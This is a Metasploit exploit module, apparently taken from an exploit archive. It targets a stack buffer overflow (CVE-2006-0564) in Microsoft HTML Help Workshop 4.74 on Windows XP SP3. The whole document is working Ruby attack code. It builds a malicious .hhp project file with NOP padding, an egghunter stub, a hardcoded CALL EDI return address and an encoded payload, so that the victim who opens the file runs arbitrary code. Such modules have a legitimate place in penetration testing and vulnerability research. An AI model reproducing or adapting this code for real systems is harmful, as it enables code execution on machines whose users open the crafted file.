Microsoft HTML Help Workshop 4.74 – ‘.hhp’ compiled Buffer Overflow (Metasploit) (4)
## # $Id: hhw_hhp_compiledfile_bof.rb 10477 2010-09-25 11:59:02Z mc $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Egghunter def initialize(info = {}) super(update_info(info, 'Name' => 'HTML Help Workshop 4.74 (hhp Project File) Buffer Overflow Exploit', 'Description' => %q{ This module exploits a stack buffer overflow in HTML Help Workshop 4.74 By creating a specially crafted hhp file, an an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'bratax', 'jduck' ], 'Version' => '$Revision: 10477 $', 'References' => [ [ 'CVE', '2006-0564'], [ 'OSVDB', '22941'], [ 'URL', 'http://www.exploit-db.com/exploits/1488' ], [ 'URL', 'http://www.exploit-db.com/exploits/1490' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00\x0a\x0d\x1a\x2f\x5c", 'StackAdjustment' => -4800, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP English SP3', { 'Offset' => 242, 'Ret' => 0x00401F93 } ], # CALL EDI hhw.exe v4.74.8702.0 ], 'Privileged' => false, 'DisclosureDate' => 'Feb 06 2006', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.hhp']), ], self.class) end def exploit # use the egghunter! eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true }) off = target['Offset'] idxf = "" idxf << make_nops(off - eh_stub.length) idxf << eh_stub idxf << [target.ret].pack('V') sploit = "[OPTIONS]\r\n" sploit << "Compiled file=" sploit << idxf sploit << "\r\n" sploit << "\r\n" sploit << "[FILES]\r\n" sploit << "\r\n" sploit << eh_egg hhp = sploit print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(hhp) end end |